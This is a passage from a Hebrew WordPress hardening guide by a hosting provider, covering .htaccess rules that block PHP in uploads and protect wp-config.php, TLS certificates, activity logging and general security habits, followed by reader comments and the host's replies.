דרך נוספת להקשיח את אבטחת האתר שלכם היא לחסום את האפשרות להריץ קבצי PHP בתיקיות שבהם הפעולה לא הכרחית. לדוגמה בתיקיה /wp-content/uploads/ שלא אמורה להכיל כלל קבצי PHP, במידה ונבצע את החסימה המדוברת נבטל בעצם את האפשרות של האקרים או תוכנה זדונית להריץ קובץ PHP המכיל פרצת אבטחה וכבר קיים פיזית באתר שלנו תחת ספרייה זו.
ניתן לבצע את החסימה ברמת השרת על ידי קובץ .htaccess באופן הבא:
# .htaccess - Disable PHP Execution
<Files *.php>
Order Allow,Deny
Deny from all
</Files>
לקוחות uPress: אפשרות זו היא חלק אינטגרלי מפאנל הניהול, ומבוצעת בעבור כל אתר כברירת מחדל.
19. אבטחו את הקבצים החשובים
הקובץ wp-config.php ככל הנראה מכיל את כל המידע הרגיש ביותר באתר שלכם, כמו למשל פרטי הגישה למסד הנתונים של האתר שלכם, מפתחות ההצפנה, הגדרות ועוד. פעולה הכרחית היא חסימת גישה ישירה אליו.
ניתן לבצע את החסימה ברמת השרת על ידי קובץ .htaccess באופן הבא:
# .htaccess - Protect wp-config.php
<Files wp-config.php>
Order Allow,Deny
Deny from all
</Files>
לקוחות uPress: אפשרות זו היא חלק אינטגרלי מפאנל הניהול, ומבוצעת בעבור כל אתר כברירת מחדל.
אבטחת קובץ נוסף שיש לבצע היא הקובץ .htaccess (בשרתי Apache) המכיל את כל הגדרות האתר, אם מדובר שרת מבוסס Apache, לרוב מדובר על הגנה \ הגדרה ברמת השרת אך במידה ולא ניתן להוסיף את החסימה ברמת השרת על ידי קובץ .htaccess באופן הבא:
# .htaccess - Protect .htaccess
<Files ~ "^.*\.([Hh][Tt][Aa])">
Order Allow,Deny
Deny from all
Satisfy all
</Files>
20. הצפינו את המידע באמצעות TLS (תעודת TLS \ SSL)
תעודת TLS מטרתה להצפין את תעבורת המידע בין המחשב שלכם (בתור משתמשים מחוברים) לבין השרת בו מאוחסן האתר, והיא משתמשת בפרוטוקול Transport Layer Security) TLS) שהוא הסטנדרט המקובל כיום להעברת מידע מוצפן באינטרנט.
תעודת ה-TLS מבוססת על מפתח הצפנה ייחודי המותקן בשרת בו מאוחסן האתר, ובאמצעותו בלבד ניתן לפענח את המידע המקודד לאחר שהגיע אל יעדו.
באמצעות תקשורת מבוססת TLS ניתן לוודא שגורמים זדוניים לא יוכלו להאזין לתקשורת ולצפות במידע המועבר בין המשתמש לשרת האחסון.
נכון להיום (מרץ 2019) האפשרות לקבלת תעודת TLS היא אפשרות אשר מסופקת ללא תוספת תשלום ברוב חברות האחסון כחלק מתהליך הרכישה של חבילת האחסון, למשל תעודת TLS חינמית ודי נפוצה היא של Let’s Encrypt.
לקוחות uPress: ניתן לבצע התקנה של תעודת TLS / SSL תחת פאנל הניהול > לשונית אבטחה.
21. עקבו אחר פעילות האתר
דרך נוספת לאבטח את אתר הוורדפרס שלכם היא לעקוב אחר פעולות קריטיות המבוצעות באזור הניהול בדיעבד \ בזמן אמת.
כדי לתעד את הפעולות הללו, יהיה עליכם להשתמש בתוסף יומן פעילות שיעבוד ברקע.
באמצעות תוסף יומן פעילות תוכלו לראות איזה משתמשים התחברו לאתר ומה הם ערכו, אילו שינויים בוצעו, איזה תוספים נוספו או הוסרו, איזו מדיה עלתה לאתר, אילו הגדרות כלליות שונו וכו'
לצורך ביצוע פעולה זו ניתן להשתמש בתוסף (פיתוח ישראלי) ARYO Activity Log , תוסף זה זמין להורדה תחת ספריית התוספים הרשמית של וורדפרס.
לסיכום
אם אתם נמצאים ברמה טכנית סבירה – המאמר הזה יתן לכם הרבה נתונים לעבד.
אבטחת מידע באתרי וורדפרס היא נושא רגיש ואין לקחת זאת בקלות ראש, על אחת כמה וכמה אם מנהלים אתרים אשר מאחסנים מידע רגיש.
בכל מקרה, כל אחת מהעצות שצויינו במאמר זה מקדמת אתכם שלב אחד לקראת אתר מאובטח יותר, כל עצה שתוכלו ליישם מקדמת את אתר הוורדפרס שלכם צעד אחד בכיוון הנכון ותגרום להאקרים ותוכנות זדוניות להתאמץ יותר כדי להצליח לפרוץ לאתר.
חלק גדול מהעצות דורשות רק מספר דקות על מנת להטמיע אותן, אל תדחו למחר את מה שאפשר לעשות היום.
מעבר לעצות שסופקו במאמר זה, אל תשכחו את הדברים הבאים:
- אל תשאירו את עמדת המחשב שלכם במצב פעיל, תדאגו לנעול את המחשב באמצעות סיסמה.
- שמרו על המחשב שלכם נקי מוירוסים.
- תשתדלו לבצע עדכונים כאשר אתם נמצאים ברשת אינטרנט בטוחה.
- הוסיפו את האתר שלכם לחשבון Google Search Console כדי לקבל עדכונים אודות אבטחת האתר.
- פרט לפעולת האבטחה, מידי תקופת זמן בצעו סריקת אבטחה מלאה לאתר.
- אל תפתחו / תלחצו על קובץ או לינק אם לא הבנתם ממי זה הגיע או שהוא נראה מוזר.
- אל תאשרו הודעות שאומרות שפעולה מסוימת שאתם מבצעים היא מסוכנת – בלי להבין מדוע.
- יש לשקול שימוש ב-reCaptcha בעמודים המכילים טפסים
אני מקווה שמצאתם מדריך זה לשימושי עבורכם. יש לכם טיפים נוספים בנושא האבטחה שתרצו לשתף? אשמח לשמוע.
חזק
מאמר מצויין וחשוב מאוד. תודה על השיתוף.
כדאי אולי לפרט כמה ממה שמומלץ (למשל סריקת אבטחה) קיים באופן אוטומטי ללקוחות יופרס 🙂
שלום
מאמר מעולה!
ברשותי אתר וורדפרס, איבטחתי את האתר בעבר, לאחר התעסקויות רבות בלוח הבקרה של וורדפרס נוכחתי לדעת כי האתר אינו מאובטח (הפך לHTTP מHTTPS)
א. האם יתכן כי התעסקות בלוח הבקרה של וורדפרס לאתר יסיר את האבטחה, או שהאפשרות היחידה היא שפג תוקפנ של תעודת האבטחה? (לא אני רכשתי את התעודה לאתר לכן אינני יודע באיזה חברה מדובר)
ב. האם תוכל להמליץ לי על חברות שיוכלו לבצע אבטחה לאתר שלי?
מדובר על אתר משרד הנדסה ולא על אתר מכירות המצריך אבטחה כבדה
האתר הוא: http://WWW.SHIRA-E.COM
היי שירה ותודה על השאלה, כמובן שאם תתעסקי עם "קישורים" לא מאובטחים זה יכול לגרום להיעלמות של "האתר המאובטח" בצמוד לדומיין שלך בדפדפן. (אבל זה בר תיקון תמיד).
במידה והאתר שלך מאוחסן ביופרס – נוכל לספק את השירות הזה בעלות חד פעמית של 30$ לכל סוגי האתרים. (של מעבר מלא ל https).
תעודת הSSL ביופרס חינמית לגמרי.
שלום, איזה כיף שגם לסבתא יש לאן לפנות